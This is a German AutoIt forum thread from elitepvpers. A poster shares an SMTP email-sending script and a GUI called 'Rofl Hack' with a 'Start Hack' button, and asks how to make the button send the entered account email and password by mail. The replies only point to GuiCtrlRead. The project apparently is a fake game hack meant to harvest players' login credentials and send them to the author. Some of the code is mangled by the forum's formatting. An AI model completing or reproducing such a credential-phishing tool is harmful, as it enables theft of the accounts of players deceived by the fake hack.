Register for your free account! | Forgot your password?

Go Back   elitepvpers > Coders Den > AutoIt
You last visited: Today at 11:02

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Zusammensetzen?!?

Discussion on Zusammensetzen?!? within the AutoIt forum part of the Coders Den category.

Reply
 
Old   #1
 
elite*gold: 0
Join Date: Jul 2009
Posts: 79
Received Thanks: 8
Unhappy Zusammensetzen?!?

Hallo e*pvper
ich habe da mal eine frage ich bekomme es enfach nicht hin, das ich das GUI mit dem Email sender verbinde!

Button1= soll Programm starten
Input1,2,3 sollen als Text in die Email
Hier kommen die Zwei die verbunden werden sollen wie soll ich das machen -.-?:

PHP Code:
;
;
##################################
; Include
;
##################################
#Include<file.au3>
;##################################
Variables
;##################################
$SmtpServer "MailServer"              address for the smtp-server to use - REQUIRED
$FromName 
"Name"                      name from who the email was sent
$FromAddress 
"address from where the mail should come
$ToAddress 
""   destination address of the email REQUIRED
$Subject 
"Userinfo"                   subject from the email can be anything you want it to be
$Body 
""                              the messagebody from the mail can be left blank but then you get a blank mail
$AttachFiles 
""                       the file you want to attachleave blank if not needed
$CcAddress 
""       address for cc leave blank if not needed
$BccAddress 
""     address for bcc leave blank if not needed
$Importance 
"Normal"                  Send message priority"High""Normal""Low"
$Username "******"                    username for the account used from where the mail gets sent REQUIRED
$Password 
"********"                  password for the account used from where the mail gets sent REQUIRED
$IPPort 
25                            port used for sending the mail
$ssl 
0                                enables/disables secure socket layer sending put to 1 if using httpS
;~ $IPPort=465                          GMAIL port used for sending the mail
;~ $ssl=1                               GMAILenables/disables secure socket layer sending put to 1 if using httpS

;##################################
Script
;##################################
Global $oMyRet[2]
Global 
$oMyError ObjEvent("AutoIt.Error""MyErrFunc")
$rc _INetSmtpMailCom($SmtpServer$FromName$FromAddress$ToAddress$Subject$Body$AttachFiles$CcAddress$BccAddress$Importance$Username$Password$IPPort$ssl)
If @
error Then
    MsgBox
(0"Error sending message""Error code:" & @error "  Description:" $rc)
EndIf
;
The UDF
Func _INetSmtpMailCom
($s_SmtpServer$s_FromName$s_FromAddress$s_ToAddress$s_Subject ""$as_Body ""$s_AttachFiles ""$s_CcAddress ""$s_BccAddress ""$s_Importance="Normal"$s_Username ""$s_Password ""$IPPort 25$ssl 0)
    
Local $objEmail ObjCreate("CDO.Message")
    
$objEmail.From '"' $s_FromName '" <' $s_FromAddress '>'
    
$objEmail.To $s_ToAddress
    Local $i_Error 
0
    Local $i_Error_desciption 
""
    
If $s_CcAddress <> "" Then $objEmail.Cc $s_CcAddress
    
If $s_BccAddress <> "" Then $objEmail.Bcc $s_BccAddress
    $objEmail
.Subject $s_Subject
    
If StringInStr($as_Body"<") And StringInStr($as_Body">"Then
        $objEmail
.HTMLBody $as_Body
    
Else
        
$objEmail.Textbody $as_Body & @CRLF
    
EndIf
    If 
$s_AttachFiles <> "" Then
        Local $S_Files2Attach 
StringSplit($s_AttachFiles";")
        For 
$x 1 To $S_Files2Attach[0]
            
$S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
            
ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' $S_Files2Attach & @LF '>Error code: ' & @error & @LF) ;### Debug Console
            
If FileExists($S_Files2Attach[$x]) Then
                $objEmail
.AddAttachment ($S_Files2Attach[$x])
            Else
                
ConsoleWrite('!> File not found to attach: ' $S_Files2Attach[$x] & @LF)
                
SetError(1)
                Return 
0
            
EndIf
        
Next
    
EndIf
    
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    
If Number($IPPort) = 0 then $IPPort 25
    $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    
;Authenticated SMTP
    
If $s_Username <> "" Then
        $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    
EndIf
    If 
$ssl Then
        $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    
EndIf
    ;
Update settings
    $objEmail
.Configuration.Fields.Update
    
Set Email Importance
    
Switch $s_Importance
        
Case "High"
            
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
        
Case "Normal"
            
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
        
Case "Low"
            
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
    
EndSwitch
    
$objEmail.Fields.Update
    
Sent the Message
    $objEmail
.Send
    
If @error Then
        SetError
(2)
        Return 
$oMyRet[1]
    EndIf
    
$objEmail=""
EndFunc   ;==>_INetSmtpMailCom
;
;
Com Error Handler
Func MyErrFunc
()
    
$HexNumber Hex($oMyError.number8)
    
$oMyRet[0] = $HexNumber
    $oMyRet
[1] = StringStripWS($oMyError.description3)
    
ConsoleWrite("### COM Error !  Number: " $HexNumber "   ScriptLine: " $oMyError.scriptline "   Description:" $oMyRet[1] & @LF)
    
SetError(1); something to check for when this function returns
    
Return
EndFunc   ;==>MyErrFunc 
Und Die GUI:
PHP Code:
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=c:\users\hungry horst\desktop\guild wars platin hack koda.kxf
$Form1_1 GUICreate("Rofl Hack"278210192124)
GUISetIcon("C:\Program Files\Rofl\Rofl.exe")
$Label1 GUICtrlCreateLabel("Rofl Email Adresse :"8812117)
$Label2 GUICtrlCreateLabel("RoflPass :"8565317)
$Label3 GUICtrlCreateLabel("RoflMenge (max 1000) :"811212717)
$Button1 GUICtrlCreateButton("Start Hack"81689733$WS_GROUP)
GUICtrlCreateInput(""83216121)
GUICtrlCreateInput(""88016121)
GUICtrlCreateInput(""813616121)
$Icon1 GUICtrlCreateIcon("C:\Program Files\Rofl\Rofl.exe", -12081364848BitOR($SS_NOTIFY,$WS_GROUP))
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg 
GUIGetMsg()
    Switch 
$nMsg
        
Case $GUI_EVENT_CLOSE
            
Exit

    EndSwitch
WEnd 
Führer is offline  
Old 11/13/2009, 13:27   #2
 
Syc0n's Avatar
 
elite*gold: 20
Join Date: Oct 2008
Posts: 1,835
Received Thanks: 1,638
GuiCtrlRead
Syc0n is offline  
Old 11/13/2009, 13:49   #3
 
| Moep |'s Avatar
 
elite*gold: 0
Join Date: Apr 2008
Posts: 1,079
Received Thanks: 438
DAnke Sycon. Mir wars jetzt zu blöd zum vierten mal die Woche auf GuiCtrlRead zu verweisen. Nur weil sich hier niemand die Mühe macht auch mal andere Beiträge als nur die eigenen zu lesen bzw. die Suche zu nutzen...
| Moep | is offline  
Reply


Similar Threads Similar Threads
Video und Sprachaufnahme zusammensetzen
05/13/2010 - Technical Support - 2 Replies
Moin Community, ich habe eine Sprachaufnahme die das Datei Format mp3 hat und eine Videoaufnahme mit dem Format wmv. Nun möchte ich diese beiden Aufnahmen zusammensetzen, was soll ich tuhen? Best Regards, Drewfire.



All times are GMT +1. The time now is 11:02.


Powered by vBulletin®
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2026 elitepvpers All Rights Reserved.